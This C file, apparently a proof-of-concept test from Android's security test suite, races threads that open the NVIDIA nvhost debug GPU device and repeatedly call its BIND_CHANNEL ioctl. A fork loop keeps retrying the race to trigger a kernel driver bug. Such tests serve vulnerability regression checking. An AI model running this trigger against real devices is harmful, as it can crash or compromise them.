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95 lines
1.9 KiB
95 lines
1.9 KiB
/*
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* Copyright (C) 2017 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <sys/ioctl.h>
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#include <sys/syscall.h>
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#include <string.h>
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#include <stdint.h>
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#include <pthread.h>
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#define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul
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int fd_gpu;
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int fd_dbg;
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int fd_dbg_1;
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void *thr(void *arg)
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{
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int ioarg[2];
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switch ((long)arg) {
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case 0:
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fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul);
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break;
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case 1:
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fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul);
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break;
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case 2:
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ioarg[0] = fd_dbg_1;
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ioarg[1] = 0;
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ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0);
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break;
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case 3:
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fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul);
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break;
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case 4:
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ioarg[0] = fd_gpu;
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ioarg[1] = 0;
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ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
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break;
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case 5:
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ioarg[0] = fd_gpu;
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ioarg[1] = 0;
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ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
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break;
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}
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return 0;
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}
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int poc()
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{
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long i;
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pthread_t th;
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for (i = 0; i < 6; i++) {
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pthread_create(&th, 0, thr, (void*)i);
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usleep(10000);
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}
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for (i = 0; i < 6; i++) {
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pthread_create(&th, 0, thr, (void*)i);
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if (i%2==0)
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usleep(10000);
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}
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usleep(100000);
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return 0;
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}
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int main(int argc, char const *argv[])
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{
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int pid;
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while(1){
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pid = fork();
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if(pid){
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usleep(30000);
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}else
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return poc();
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}
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return 0;
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}
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